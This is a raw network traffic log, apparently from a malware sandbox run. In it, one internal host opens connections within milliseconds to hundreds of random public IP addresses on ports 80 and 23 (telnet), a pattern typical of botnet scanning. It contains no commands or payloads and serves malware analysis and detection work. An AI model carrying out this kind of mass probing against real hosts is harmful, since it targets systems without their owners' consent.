Dec 3, 2024 23:16:42.375842094 CET	40596	80	192.168.2.23	216.22.208.160
Dec 3, 2024 23:16:42.375844955 CET	40596	80	192.168.2.23	42.178.224.119
Dec 3, 2024 23:16:42.375845909 CET	40596	80	192.168.2.23	156.201.247.225
Dec 3, 2024 23:16:42.375845909 CET	40596	80	192.168.2.23	2.47.205.137
Dec 3, 2024 23:16:42.375845909 CET	40596	80	192.168.2.23	200.162.215.12
Dec 3, 2024 23:16:42.375859976 CET	40596	80	192.168.2.23	24.246.8.64
Dec 3, 2024 23:16:42.375866890 CET	40596	80	192.168.2.23	17.119.26.68
Dec 3, 2024 23:16:42.375870943 CET	40596	80	192.168.2.23	106.8.219.42
Dec 3, 2024 23:16:42.375873089 CET	40596	80	192.168.2.23	211.85.216.116
Dec 3, 2024 23:16:42.375874996 CET	40596	80	192.168.2.23	87.131.174.143
Dec 3, 2024 23:16:42.375879049 CET	40596	80	192.168.2.23	18.156.231.43
Dec 3, 2024 23:16:42.375885010 CET	40596	80	192.168.2.23	143.240.24.22
Dec 3, 2024 23:16:42.375885963 CET	40596	80	192.168.2.23	201.25.46.165
Dec 3, 2024 23:16:42.375896931 CET	40596	80	192.168.2.23	111.104.112.34
Dec 3, 2024 23:16:42.375896931 CET	40596	80	192.168.2.23	168.79.29.181
Dec 3, 2024 23:16:42.375915051 CET	40596	80	192.168.2.23	196.88.186.12
Dec 3, 2024 23:16:42.375915051 CET	40596	80	192.168.2.23	123.21.194.224
Dec 3, 2024 23:16:42.375915051 CET	40596	80	192.168.2.23	9.123.212.49
Dec 3, 2024 23:16:42.375916958 CET	40596	80	192.168.2.23	158.73.17.46
Dec 3, 2024 23:16:42.375922918 CET	40596	80	192.168.2.23	34.165.106.83
Dec 3, 2024 23:16:42.375935078 CET	40596	80	192.168.2.23	2.137.42.110
Dec 3, 2024 23:16:42.375936985 CET	40596	80	192.168.2.23	37.249.110.5
Dec 3, 2024 23:16:42.375943899 CET	40596	80	192.168.2.23	79.199.152.61
Dec 3, 2024 23:16:42.375952005 CET	40596	80	192.168.2.23	63.159.102.101
Dec 3, 2024 23:16:42.375957966 CET	40596	80	192.168.2.23	18.128.49.73
Dec 3, 2024 23:16:42.375957966 CET	40596	80	192.168.2.23	105.142.23.9
Dec 3, 2024 23:16:42.375962973 CET	40596	80	192.168.2.23	5.59.75.216
Dec 3, 2024 23:16:42.375962973 CET	40596	80	192.168.2.23	109.55.86.47
Dec 3, 2024 23:16:42.375967026 CET	40596	80	192.168.2.23	31.146.205.35
Dec 3, 2024 23:16:42.375976086 CET	40596	80	192.168.2.23	93.210.17.50
Dec 3, 2024 23:16:42.375976086 CET	40596	80	192.168.2.23	49.62.40.255
Dec 3, 2024 23:16:42.375979900 CET	40596	80	192.168.2.23	39.85.93.69
Dec 3, 2024 23:16:42.376000881 CET	40596	80	192.168.2.23	42.160.62.211
Dec 3, 2024 23:16:42.376000881 CET	40596	80	192.168.2.23	31.99.116.101
Dec 3, 2024 23:16:42.376003027 CET	40596	80	192.168.2.23	41.214.8.30
Dec 3, 2024 23:16:42.376003027 CET	40596	80	192.168.2.23	207.34.234.22
Dec 3, 2024 23:16:42.376022100 CET	40596	80	192.168.2.23	150.153.232.32
Dec 3, 2024 23:16:42.376023054 CET	40596	80	192.168.2.23	114.201.94.232
Dec 3, 2024 23:16:42.376023054 CET	40596	80	192.168.2.23	109.133.225.175
Dec 3, 2024 23:16:42.376023054 CET	40596	80	192.168.2.23	118.206.119.7
Dec 3, 2024 23:16:42.376035929 CET	40596	80	192.168.2.23	120.109.103.67
Dec 3, 2024 23:16:42.376036882 CET	40596	80	192.168.2.23	45.101.18.205
Dec 3, 2024 23:16:42.376039028 CET	40596	80	192.168.2.23	36.189.124.169
Dec 3, 2024 23:16:42.376049995 CET	40596	80	192.168.2.23	27.227.61.159
Dec 3, 2024 23:16:42.376059055 CET	40596	80	192.168.2.23	115.67.47.66
Dec 3, 2024 23:16:42.376059055 CET	40596	80	192.168.2.23	61.148.91.177
Dec 3, 2024 23:16:42.376060963 CET	40596	80	192.168.2.23	31.40.228.198
Dec 3, 2024 23:16:42.376075983 CET	40596	80	192.168.2.23	130.57.145.105
Dec 3, 2024 23:16:42.376079082 CET	40596	80	192.168.2.23	168.41.54.54
Dec 3, 2024 23:16:42.376085043 CET	40596	80	192.168.2.23	112.92.114.156
Dec 3, 2024 23:16:42.376095057 CET	40596	80	192.168.2.23	70.191.183.214
Dec 3, 2024 23:16:42.376099110 CET	40596	80	192.168.2.23	164.201.38.119
Dec 3, 2024 23:16:42.376101971 CET	40596	80	192.168.2.23	167.242.60.169
Dec 3, 2024 23:16:42.376107931 CET	40596	80	192.168.2.23	107.56.161.102
Dec 3, 2024 23:16:42.376144886 CET	40596	80	192.168.2.23	146.158.49.26
Dec 3, 2024 23:16:42.376146078 CET	40596	80	192.168.2.23	209.175.242.251
Dec 3, 2024 23:16:42.376146078 CET	40596	80	192.168.2.23	119.165.187.170
Dec 3, 2024 23:16:42.376146078 CET	40596	80	192.168.2.23	84.28.33.146
Dec 3, 2024 23:16:42.376146078 CET	40596	80	192.168.2.23	32.176.65.122
Dec 3, 2024 23:16:42.376161098 CET	40596	80	192.168.2.23	136.175.157.68
Dec 3, 2024 23:16:42.376161098 CET	40596	80	192.168.2.23	117.183.142.239
Dec 3, 2024 23:16:42.376161098 CET	40596	80	192.168.2.23	109.160.171.143
Dec 3, 2024 23:16:42.376162052 CET	40596	80	192.168.2.23	111.201.144.246
Dec 3, 2024 23:16:42.376163006 CET	40596	80	192.168.2.23	136.149.84.223
Dec 3, 2024 23:16:42.376163006 CET	40596	80	192.168.2.23	44.212.173.102
Dec 3, 2024 23:16:42.376163960 CET	40596	80	192.168.2.23	142.100.170.248
Dec 3, 2024 23:16:42.376163960 CET	40596	80	192.168.2.23	209.95.102.233
Dec 3, 2024 23:16:42.376166105 CET	40596	80	192.168.2.23	126.4.181.94
Dec 3, 2024 23:16:42.376167059 CET	40596	80	192.168.2.23	196.43.141.210
Dec 3, 2024 23:16:42.376166105 CET	40596	80	192.168.2.23	205.45.46.127
Dec 3, 2024 23:16:42.376167059 CET	40596	80	192.168.2.23	128.175.100.147
Dec 3, 2024 23:16:42.376166105 CET	40596	80	192.168.2.23	39.60.199.246
Dec 3, 2024 23:16:42.376167059 CET	40596	80	192.168.2.23	59.25.34.172
Dec 3, 2024 23:16:42.376177073 CET	40596	80	192.168.2.23	131.71.25.235
Dec 3, 2024 23:16:42.376177073 CET	40596	80	192.168.2.23	202.34.120.178
Dec 3, 2024 23:16:42.376177073 CET	40596	80	192.168.2.23	13.204.167.173
Dec 3, 2024 23:16:42.376178026 CET	40596	80	192.168.2.23	223.108.225.104
Dec 3, 2024 23:16:42.376177073 CET	40596	80	192.168.2.23	183.21.5.52
Dec 3, 2024 23:16:42.376180887 CET	40596	80	192.168.2.23	81.217.54.126
Dec 3, 2024 23:16:42.376185894 CET	40596	80	192.168.2.23	145.137.206.36
Dec 3, 2024 23:16:42.376187086 CET	40596	80	192.168.2.23	200.220.91.108
Dec 3, 2024 23:16:42.376187086 CET	40596	80	192.168.2.23	77.34.61.9
Dec 3, 2024 23:16:42.376187086 CET	40596	80	192.168.2.23	218.204.215.242
Dec 3, 2024 23:16:42.376192093 CET	40596	80	192.168.2.23	173.148.18.238
Dec 3, 2024 23:16:42.376192093 CET	40596	80	192.168.2.23	48.13.16.20
Dec 3, 2024 23:16:42.376193047 CET	40596	80	192.168.2.23	114.42.22.205
Dec 3, 2024 23:16:42.376194000 CET	40596	80	192.168.2.23	170.220.93.125
Dec 3, 2024 23:16:42.376221895 CET	40596	80	192.168.2.23	25.204.167.206
Dec 3, 2024 23:16:42.376239061 CET	40596	80	192.168.2.23	107.105.70.85
Dec 3, 2024 23:16:42.376239061 CET	40602	23	192.168.2.23	44.128.117.241
Dec 3, 2024 23:16:42.376240015 CET	40596	80	192.168.2.23	88.189.27.88
Dec 3, 2024 23:16:42.376240015 CET	40602	23	192.168.2.23	34.135.165.248
Dec 3, 2024 23:16:42.376247883 CET	40602	23	192.168.2.23	92.212.26.156
Dec 3, 2024 23:16:42.376250982 CET	40602	23	192.168.2.23	140.179.127.43
Dec 3, 2024 23:16:42.376251936 CET	40602	23	192.168.2.23	4.177.182.163
Dec 3, 2024 23:16:42.376252890 CET	40596	80	192.168.2.23	190.19.89.215
Dec 3, 2024 23:16:42.376252890 CET	40596	80	192.168.2.23	94.105.106.218
Dec 3, 2024 23:16:42.376252890 CET	40596	80	192.168.2.23	177.56.28.204
Dec 3, 2024 23:16:42.376254082 CET	40596	80	192.168.2.23	146.75.21.112
Dec 3, 2024 23:16:42.376252890 CET	40596	80	192.168.2.23	220.28.187.230
Dec 3, 2024 23:16:42.376254082 CET	40602	23	192.168.2.23	136.114.5.239
Dec 3, 2024 23:16:42.376252890 CET	40596	80	192.168.2.23	154.117.251.79
Dec 3, 2024 23:16:42.376266003 CET	40602	23	192.168.2.23	94.193.211.135
Dec 3, 2024 23:16:42.376266003 CET	40602	23	192.168.2.23	210.109.213.99
Dec 3, 2024 23:16:42.376266003 CET	40596	80	192.168.2.23	9.85.242.117
Dec 3, 2024 23:16:42.376266003 CET	40596	80	192.168.2.23	140.38.79.32
Dec 3, 2024 23:16:42.376266956 CET	40602	23	192.168.2.23	51.100.247.189
Dec 3, 2024 23:16:42.376269102 CET	40602	23	192.168.2.23	162.77.165.195
Dec 3, 2024 23:16:42.376270056 CET	40602	23	192.168.2.23	114.6.97.206
Dec 3, 2024 23:16:42.376271009 CET	40596	80	192.168.2.23	152.245.230.26
Dec 3, 2024 23:16:42.376270056 CET	40596	80	192.168.2.23	96.173.131.228
Dec 3, 2024 23:16:42.376271963 CET	40602	23	192.168.2.23	183.254.187.112
Dec 3, 2024 23:16:42.376271009 CET	40596	80	192.168.2.23	201.19.7.66
Dec 3, 2024 23:16:42.376271009 CET	40602	23	192.168.2.23	92.29.2.105
Dec 3, 2024 23:16:42.376272917 CET	40596	80	192.168.2.23	81.124.62.176
Dec 3, 2024 23:16:42.376272917 CET	40596	80	192.168.2.23	175.215.95.141
Dec 3, 2024 23:16:42.376272917 CET	40602	23	192.168.2.23	95.156.139.191
Dec 3, 2024 23:16:42.376275063 CET	40596	80	192.168.2.23	184.224.14.92
Dec 3, 2024 23:16:42.376298904 CET	40596	80	192.168.2.23	183.167.148.187
Dec 3, 2024 23:16:42.376298904 CET	40602	23	192.168.2.23	192.159.76.24
Dec 3, 2024 23:16:42.376302004 CET	40596	80	192.168.2.23	169.252.245.1
Dec 3, 2024 23:16:42.376303911 CET	40596	80	192.168.2.23	83.183.3.56
Dec 3, 2024 23:16:42.376315117 CET	40602	23	192.168.2.23	191.177.244.159
Dec 3, 2024 23:16:42.376322985 CET	40602	23	192.168.2.23	64.52.88.110
Dec 3, 2024 23:16:42.376324892 CET	40602	23	192.168.2.23	123.24.116.221
Dec 3, 2024 23:16:42.376326084 CET	40602	23	192.168.2.23	108.253.207.208
Dec 3, 2024 23:16:42.376342058 CET	40596	80	192.168.2.23	158.187.32.15
Dec 3, 2024 23:16:42.376343012 CET	40596	80	192.168.2.23	153.225.1.88
Dec 3, 2024 23:16:42.376358032 CET	40602	23	192.168.2.23	9.121.207.243
Dec 3, 2024 23:16:42.376370907 CET	40596	80	192.168.2.23	169.27.242.212
Dec 3, 2024 23:16:42.376378059 CET	40602	23	192.168.2.23	173.204.151.242
Dec 3, 2024 23:16:42.376378059 CET	40602	23	192.168.2.23	163.159.64.220
Dec 3, 2024 23:16:42.376378059 CET	40602	23	192.168.2.23	25.179.171.46
Dec 3, 2024 23:16:42.376384974 CET	40596	80	192.168.2.23	94.186.97.21
Dec 3, 2024 23:16:42.376385927 CET	40602	23	192.168.2.23	179.232.48.223
Dec 3, 2024 23:16:42.376394987 CET	40596	80	192.168.2.23	39.55.72.170
Dec 3, 2024 23:16:42.376399040 CET	40602	23	192.168.2.23	72.159.226.97
Dec 3, 2024 23:16:42.376408100 CET	40602	23	192.168.2.23	147.103.182.52
Dec 3, 2024 23:16:42.376410007 CET	40602	23	192.168.2.23	80.135.151.66
Dec 3, 2024 23:16:42.376410007 CET	40602	23	192.168.2.23	44.44.5.47
Dec 3, 2024 23:16:42.376411915 CET	40602	23	192.168.2.23	174.77.173.148
Dec 3, 2024 23:16:42.376422882 CET	40596	80	192.168.2.23	134.141.243.44
Dec 3, 2024 23:16:42.376422882 CET	40596	80	192.168.2.23	165.96.142.51
Dec 3, 2024 23:16:42.376422882 CET	40602	23	192.168.2.23	114.129.138.165
Dec 3, 2024 23:16:42.376422882 CET	40596	80	192.168.2.23	57.134.162.129
Dec 3, 2024 23:16:42.376424074 CET	40602	23	192.168.2.23	122.234.25.73
Dec 3, 2024 23:16:42.376424074 CET	40596	80	192.168.2.23	77.39.145.72
Dec 3, 2024 23:16:42.376425028 CET	40602	23	192.168.2.23	141.34.188.61
Dec 3, 2024 23:16:42.376429081 CET	40596	80	192.168.2.23	218.46.158.116
Dec 3, 2024 23:16:42.376431942 CET	40602	23	192.168.2.23	74.236.254.201
Dec 3, 2024 23:16:42.376432896 CET	40596	80	192.168.2.23	216.179.96.159
Dec 3, 2024 23:16:42.376441002 CET	40602	23	192.168.2.23	8.161.17.103
Dec 3, 2024 23:16:42.376445055 CET	40602	23	192.168.2.23	139.244.56.199
Dec 3, 2024 23:16:42.376458883 CET	40602	23	192.168.2.23	68.207.66.174
Dec 3, 2024 23:16:42.376461983 CET	40602	23	192.168.2.23	177.81.192.107
Dec 3, 2024 23:16:42.376461983 CET	40596	80	192.168.2.23	157.154.85.114
Dec 3, 2024 23:16:42.376463890 CET	40596	80	192.168.2.23	53.120.215.228
Dec 3, 2024 23:16:42.376463890 CET	40596	80	192.168.2.23	24.85.183.249
Dec 3, 2024 23:16:42.376467943 CET	40596	80	192.168.2.23	63.84.126.71
Dec 3, 2024 23:16:42.376467943 CET	40602	23	192.168.2.23	135.233.130.219
Dec 3, 2024 23:16:42.376478910 CET	40602	23	192.168.2.23	132.148.208.58
Dec 3, 2024 23:16:42.376481056 CET	40596	80	192.168.2.23	177.100.61.5
Dec 3, 2024 23:16:42.376485109 CET	40596	80	192.168.2.23	197.164.38.138
Dec 3, 2024 23:16:42.376487017 CET	40596	80	192.168.2.23	69.237.90.138
Dec 3, 2024 23:16:42.376487017 CET	40596	80	192.168.2.23	85.62.74.36
Dec 3, 2024 23:16:42.376487017 CET	40602	23	192.168.2.23	107.187.170.181
Dec 3, 2024 23:16:42.376492977 CET	40596	80	192.168.2.23	70.129.94.136
Dec 3, 2024 23:16:42.376492977 CET	40596	80	192.168.2.23	190.68.115.31
Dec 3, 2024 23:16:42.376492977 CET	40602	23	192.168.2.23	206.140.82.226
Dec 3, 2024 23:16:42.376496077 CET	40602	23	192.168.2.23	194.163.169.201
Dec 3, 2024 23:16:42.376507044 CET	40596	80	192.168.2.23	152.182.17.113
Dec 3, 2024 23:16:42.376507044 CET	40602	23	192.168.2.23	60.114.98.253
Dec 3, 2024 23:16:42.376507044 CET	40602	23	192.168.2.23	66.237.54.21
Dec 3, 2024 23:16:42.376507044 CET	40602	23	192.168.2.23	162.31.175.56
Dec 3, 2024 23:16:42.376507044 CET	40602	23	192.168.2.23	97.74.109.230
Dec 3, 2024 23:16:42.376512051 CET	40602	23	192.168.2.23	133.111.116.237
Dec 3, 2024 23:16:42.376513004 CET	40602	23	192.168.2.23	18.213.140.151
Dec 3, 2024 23:16:42.376534939 CET	40602	23	192.168.2.23	139.160.214.253
Dec 3, 2024 23:16:42.376535892 CET	40602	23	192.168.2.23	71.151.162.45
Dec 3, 2024 23:16:42.376535892 CET	40602	23	192.168.2.23	25.229.16.149
Dec 3, 2024 23:16:42.376538992 CET	40602	23	192.168.2.23	73.89.203.207
Dec 3, 2024 23:16:42.376539946 CET	40602	23	192.168.2.23	180.208.30.6
Dec 3, 2024 23:16:42.376543999 CET	40602	23	192.168.2.23	108.196.138.51
Dec 3, 2024 23:16:42.376543999 CET	40602	23	192.168.2.23	175.234.16.68
Dec 3, 2024 23:16:42.376552105 CET	40602	23	192.168.2.23	91.124.0.53
Dec 3, 2024 23:16:42.376558065 CET	40602	23	192.168.2.23	80.136.58.192
Dec 3, 2024 23:16:42.376579046 CET	40602	23	192.168.2.23	179.208.101.111
Dec 3, 2024 23:16:42.376580954 CET	40602	23	192.168.2.23	65.124.103.106
Dec 3, 2024 23:16:42.376585007 CET	40602	23	192.168.2.23	60.217.73.254
Dec 3, 2024 23:16:42.376588106 CET	40602	23	192.168.2.23	212.250.174.137
Dec 3, 2024 23:16:42.376589060 CET	40602	23	192.168.2.23	217.51.187.197
Dec 3, 2024 23:16:42.376606941 CET	40602	23	192.168.2.23	151.229.11.47
Dec 3, 2024 23:16:42.376606941 CET	40602	23	192.168.2.23	12.124.241.72
Dec 3, 2024 23:16:42.376607895 CET	40602	23	192.168.2.23	120.89.224.201
Dec 3, 2024 23:16:42.376610041 CET	40602	23	192.168.2.23	199.141.200.51
Dec 3, 2024 23:16:42.376610041 CET	40602	23	192.168.2.23	111.41.167.142
Dec 3, 2024 23:16:42.376616001 CET	40602	23	192.168.2.23	97.215.234.91
Dec 3, 2024 23:16:42.376616955 CET	40602	23	192.168.2.23	84.18.112.6
Dec 3, 2024 23:16:42.376616955 CET	40602	23	192.168.2.23	66.2.191.161
Dec 3, 2024 23:16:42.376621962 CET	40602	23	192.168.2.23	129.0.57.59
Dec 3, 2024 23:16:42.376629114 CET	40602	23	192.168.2.23	17.197.158.152
Dec 3, 2024 23:16:42.376631021 CET	40602	23	192.168.2.23	125.233.143.203
Dec 3, 2024 23:16:42.376643896 CET	40602	23	192.168.2.23	89.5.254.100
Dec 3, 2024 23:16:42.376652002 CET	40602	23	192.168.2.23	144.8.140.64
Dec 3, 2024 23:16:42.376697063 CET	40602	23	192.168.2.23	198.103.93.50
Dec 3, 2024 23:16:42.376698017 CET	40602	23	192.168.2.23	42.245.13.48
Dec 3, 2024 23:16:42.376701117 CET	40602	23	192.168.2.23	137.98.7.93
Dec 3, 2024 23:16:42.376708031 CET	40602	23	192.168.2.23	120.7.250.82
Dec 3, 2024 23:16:42.376712084 CET	40602	23	192.168.2.23	46.235.5.90
Dec 3, 2024 23:16:42.376713037 CET	40602	23	192.168.2.23	19.193.70.149
Dec 3, 2024 23:16:42.376733065 CET	40602	23	192.168.2.23	81.159.91.60
Dec 3, 2024 23:16:42.376737118 CET	40602	23	192.168.2.23	70.36.37.43
Dec 3, 2024 23:16:42.376748085 CET	40602	23	192.168.2.23	153.217.48.115
Dec 3, 2024 23:16:42.376754045 CET	40602	23	192.168.2.23	89.143.126.99
Dec 3, 2024 23:16:42.376758099 CET	40602	23	192.168.2.23	219.54.55.120
Dec 3, 2024 23:16:42.376758099 CET	40602	23	192.168.2.23	210.202.2.42
Dec 3, 2024 23:16:42.376758099 CET	40602	23	192.168.2.23	120.20.158.242
Dec 3, 2024 23:16:42.376764059 CET	40602	23	192.168.2.23	128.202.179.123
Dec 3, 2024 23:16:42.376764059 CET	40602	23	192.168.2.23	107.163.55.161
Dec 3, 2024 23:16:42.376787901 CET	40602	23	192.168.2.23	169.195.77.143
Dec 3, 2024 23:16:42.376811981 CET	40602	23	192.168.2.23	63.47.235.6
Dec 3, 2024 23:16:42.376812935 CET	40602	23	192.168.2.23	216.6.148.251
Dec 3, 2024 23:16:42.376833916 CET	40602	23	192.168.2.23	155.0.116.148
Dec 3, 2024 23:16:42.376836061 CET	40602	23	192.168.2.23	164.204.93.88
Dec 3, 2024 23:16:42.376843929 CET	40602	23	192.168.2.23	180.65.65.109
Dec 3, 2024 23:16:42.376847029 CET	40602	23	192.168.2.23	50.171.11.253
Dec 3, 2024 23:16:42.376854897 CET	40602	23	192.168.2.23	38.65.69.236
Dec 3, 2024 23:16:42.376868010 CET	40602	23	192.168.2.23	9.55.226.44
Dec 3, 2024 23:16:42.376868010 CET	40602	23	192.168.2.23	165.137.23.37
Dec 3, 2024 23:16:42.376869917 CET	40602	23	192.168.2.23	194.158.18.22
Dec 3, 2024 23:16:42.376879930 CET	40602	23	192.168.2.23	98.157.96.182
Dec 3, 2024 23:16:42.376880884 CET	40602	23	192.168.2.23	78.60.48.178
Dec 3, 2024 23:16:42.376892090 CET	40602	23	192.168.2.23	50.213.213.7
Dec 3, 2024 23:16:42.376904011 CET	40602	23	192.168.2.23	200.22.125.190
Dec 3, 2024 23:16:42.376904964 CET	40602	23	192.168.2.23	45.153.103.129
Dec 3, 2024 23:16:42.376904964 CET	40602	23	192.168.2.23	134.19.58.196
Dec 3, 2024 23:16:42.376918077 CET	40602	23	192.168.2.23	191.170.50.247
Dec 3, 2024 23:16:42.376920938 CET	40602	23	192.168.2.23	190.38.104.4
Dec 3, 2024 23:16:42.376950979 CET	40602	23	192.168.2.23	203.39.220.59
Dec 3, 2024 23:16:42.376962900 CET	40602	23	192.168.2.23	211.110.41.156
Dec 3, 2024 23:16:42.376962900 CET	40602	23	192.168.2.23	187.1.145.215
Dec 3, 2024 23:16:42.376965046 CET	40602	23	192.168.2.23	199.113.138.86
Dec 3, 2024 23:16:42.376966000 CET	40602	23	192.168.2.23	114.53.76.72
Dec 3, 2024 23:16:42.376986027 CET	40602	23	192.168.2.23	212.143.234.182
Dec 3, 2024 23:16:42.376991034 CET	40602	23	192.168.2.23	74.211.153.144
Dec 3, 2024 23:16:42.376991034 CET	40602	23	192.168.2.23	34.126.213.246
Dec 3, 2024 23:16:42.377003908 CET	40602	23	192.168.2.23	205.159.25.23
Dec 3, 2024 23:16:42.377007008 CET	40602	23	192.168.2.23	97.55.40.222
Dec 3, 2024 23:16:42.377021074 CET	40602	23	192.168.2.23	23.109.41.155
Dec 3, 2024 23:16:42.377021074 CET	40602	23	192.168.2.23	112.78.163.196
Dec 3, 2024 23:16:42.377028942 CET	40602	23	192.168.2.23	162.141.222.208
Dec 3, 2024 23:16:42.377038956 CET	40602	23	192.168.2.23	69.30.177.138
Dec 3, 2024 23:16:42.377038956 CET	40602	23	192.168.2.23	76.61.74.246
Dec 3, 2024 23:16:42.377041101 CET	40602	23	192.168.2.23	101.245.125.140
Dec 3, 2024 23:16:42.377052069 CET	40602	23	192.168.2.23	107.127.185.24
Dec 3, 2024 23:16:42.377053022 CET	40602	23	192.168.2.23	174.5.106.133
Dec 3, 2024 23:16:42.377067089 CET	40602	23	192.168.2.23	150.162.236.128
Dec 3, 2024 23:16:42.377070904 CET	40602	23	192.168.2.23	154.254.180.75
Dec 3, 2024 23:16:42.377089977 CET	40602	23	192.168.2.23	179.32.218.87
Dec 3, 2024 23:16:42.377089977 CET	40602	23	192.168.2.23	141.237.115.93
Dec 3, 2024 23:16:42.377090931 CET	40602	23	192.168.2.23	200.39.158.210
Dec 3, 2024 23:16:42.377091885 CET	40602	23	192.168.2.23	68.65.145.61
Dec 3, 2024 23:16:42.377093077 CET	40602	23	192.168.2.23	87.35.161.15
Dec 3, 2024 23:16:42.377101898 CET	40602	23	192.168.2.23	169.7.25.233
Dec 3, 2024 23:16:42.377110958 CET	40602	23	192.168.2.23	156.208.229.99
Dec 3, 2024 23:16:42.377167940 CET	40602	23	192.168.2.23	160.203.51.24
Dec 3, 2024 23:16:42.377167940 CET	40602	23	192.168.2.23	142.60.52.127
Dec 3, 2024 23:16:42.377176046 CET	40602	23	192.168.2.23	109.23.33.179
Dec 3, 2024 23:16:42.377176046 CET	40596	80	192.168.2.23	73.95.38.216
Dec 3, 2024 23:16:42.377177000 CET	40602	23	192.168.2.23	14.150.222.114
Dec 3, 2024 23:16:42.377177954 CET	40596	80	192.168.2.23	211.22.55.52
Dec 3, 2024 23:16:42.377177954 CET	40602	23	192.168.2.23	169.105.121.188
Dec 3, 2024 23:16:42.377182961 CET	40596	80	192.168.2.23	128.80.192.96
Dec 3, 2024 23:16:42.377182961 CET	40602	23	192.168.2.23	218.59.214.203
Dec 3, 2024 23:16:42.377182961 CET	40602	23	192.168.2.23	84.91.112.53
Dec 3, 2024 23:16:42.377182961 CET	40596	80	192.168.2.23	171.75.38.225
Dec 3, 2024 23:16:42.377177954 CET	40602	23	192.168.2.23	208.249.13.228
Dec 3, 2024 23:16:42.377192020 CET	40596	80	192.168.2.23	70.77.10.206
Dec 3, 2024 23:16:42.377192974 CET	40602	23	192.168.2.23	147.241.71.158
Dec 3, 2024 23:16:42.377192974 CET	40596	80	192.168.2.23	135.215.88.179
Dec 3, 2024 23:16:42.377192974 CET	40596	80	192.168.2.23	123.244.117.42
Dec 3, 2024 23:16:42.377192974 CET	40602	23	192.168.2.23	52.226.213.155
Dec 3, 2024 23:16:42.377192974 CET	40596	80	192.168.2.23	176.66.51.0
Dec 3, 2024 23:16:42.377194881 CET	40602	23	192.168.2.23	23.204.24.90
Dec 3, 2024 23:16:42.377194881 CET	40602	23	192.168.2.23	23.47.246.222
Dec 3, 2024 23:16:42.377194881 CET	40602	23	192.168.2.23	114.152.198.152
Dec 3, 2024 23:16:42.377194881 CET	40596	80	192.168.2.23	114.174.231.220
Dec 3, 2024 23:16:42.377201080 CET	40602	23	192.168.2.23	197.83.158.159
Dec 3, 2024 23:16:42.377211094 CET	40596	80	192.168.2.23	36.185.126.147
Dec 3, 2024 23:16:42.377222061 CET	40596	80	192.168.2.23	150.189.139.251
Dec 3, 2024 23:16:42.377222061 CET	40602	23	192.168.2.23	136.111.60.169
Dec 3, 2024 23:16:42.377226114 CET	40602	23	192.168.2.23	163.150.135.141
Dec 3, 2024 23:16:42.377226114 CET	40602	23	192.168.2.23	117.213.130.111
Dec 3, 2024 23:16:42.377238035 CET	40602	23	192.168.2.23	69.62.205.245
Dec 3, 2024 23:16:42.377238035 CET	40602	23	192.168.2.23	178.28.194.245
Dec 3, 2024 23:16:42.377239943 CET	40596	80	192.168.2.23	146.245.235.71
Dec 3, 2024 23:16:42.377239943 CET	40602	23	192.168.2.23	37.175.254.53
Dec 3, 2024 23:16:42.377248049 CET	40602	23	192.168.2.23	211.247.153.64
Dec 3, 2024 23:16:42.377249956 CET	40602	23	192.168.2.23	135.168.72.89
Dec 3, 2024 23:16:42.377249956 CET	40602	23	192.168.2.23	75.137.48.197
Dec 3, 2024 23:16:42.377253056 CET	40602	23	192.168.2.23	42.47.146.160
Dec 3, 2024 23:16:42.377253056 CET	40602	23	192.168.2.23	43.175.194.252
Dec 3, 2024 23:16:42.377254009 CET	40596	80	192.168.2.23	126.238.239.180
Dec 3, 2024 23:16:42.377264977 CET	40602	23	192.168.2.23	52.223.216.4
Dec 3, 2024 23:16:42.377275944 CET	40602	23	192.168.2.23	113.23.48.173
Dec 3, 2024 23:16:42.377279043 CET	40602	23	192.168.2.23	78.99.224.99
Dec 3, 2024 23:16:42.377293110 CET	40602	23	192.168.2.23	54.149.25.160
Dec 3, 2024 23:16:42.377300978 CET	40602	23	192.168.2.23	191.200.239.155
Dec 3, 2024 23:16:42.377307892 CET	40602	23	192.168.2.23	206.243.118.177
Dec 3, 2024 23:16:42.377307892 CET	40596	80	192.168.2.23	100.171.117.250
Dec 3, 2024 23:16:42.377315044 CET	40602	23	192.168.2.23	163.156.3.7
Dec 3, 2024 23:16:42.377316952 CET	40602	23	192.168.2.23	128.203.44.226
Dec 3, 2024 23:16:42.377316952 CET	40602	23	192.168.2.23	98.154.34.143
Dec 3, 2024 23:16:42.377316952 CET	40602	23	192.168.2.23	166.234.107.158
Dec 3, 2024 23:16:42.377317905 CET	40596	80	192.168.2.23	177.198.236.136
Dec 3, 2024 23:16:42.377321959 CET	40596	80	192.168.2.23	130.58.7.146
Dec 3, 2024 23:16:42.377326965 CET	40602	23	192.168.2.23	107.146.203.87
Dec 3, 2024 23:16:42.377327919 CET	40602	23	192.168.2.23	105.50.237.101
Dec 3, 2024 23:16:42.377346992 CET	40596	80	192.168.2.23	88.243.199.219
Dec 3, 2024 23:16:42.377356052 CET	40596	80	192.168.2.23	69.84.12.235
Dec 3, 2024 23:16:42.377356052 CET	40596	80	192.168.2.23	84.145.148.189
Dec 3, 2024 23:16:42.377358913 CET	40596	80	192.168.2.23	157.101.176.180
Dec 3, 2024 23:16:42.377367973 CET	40596	80	192.168.2.23	153.231.141.198
Dec 3, 2024 23:16:42.377367973 CET	40602	23	192.168.2.23	100.52.77.225
Dec 3, 2024 23:16:42.377370119 CET	40596	80	192.168.2.23	193.176.85.58
Dec 3, 2024 23:16:42.377374887 CET	40602	23	192.168.2.23	216.13.145.192
Dec 3, 2024 23:16:42.377374887 CET	40596	80	192.168.2.23	221.146.255.103
Dec 3, 2024 23:16:42.377377033 CET	40596	80	192.168.2.23	60.80.95.107
Dec 3, 2024 23:16:42.377389908 CET	40602	23	192.168.2.23	34.92.40.203
Dec 3, 2024 23:16:42.377397060 CET	40602	23	192.168.2.23	93.9.178.92
Dec 3, 2024 23:16:42.377398968 CET	40596	80	192.168.2.23	160.177.75.47
Dec 3, 2024 23:16:42.377408028 CET	40602	23	192.168.2.23	115.58.163.133
Dec 3, 2024 23:16:42.377414942 CET	40596	80	192.168.2.23	110.105.253.35
Dec 3, 2024 23:16:42.377414942 CET	40602	23	192.168.2.23	121.64.142.233
Dec 3, 2024 23:16:42.377414942 CET	40596	80	192.168.2.23	45.43.29.2
Dec 3, 2024 23:16:42.377413034 CET	40602	23	192.168.2.23	5.131.246.116
Dec 3, 2024 23:16:42.377413034 CET	40596	80	192.168.2.23	223.207.69.199
Dec 3, 2024 23:16:42.377413988 CET	40596	80	192.168.2.23	150.83.113.151
Dec 3, 2024 23:16:42.377413988 CET	40602	23	192.168.2.23	191.49.100.100
Dec 3, 2024 23:16:42.377422094 CET	40596	80	192.168.2.23	167.190.126.123
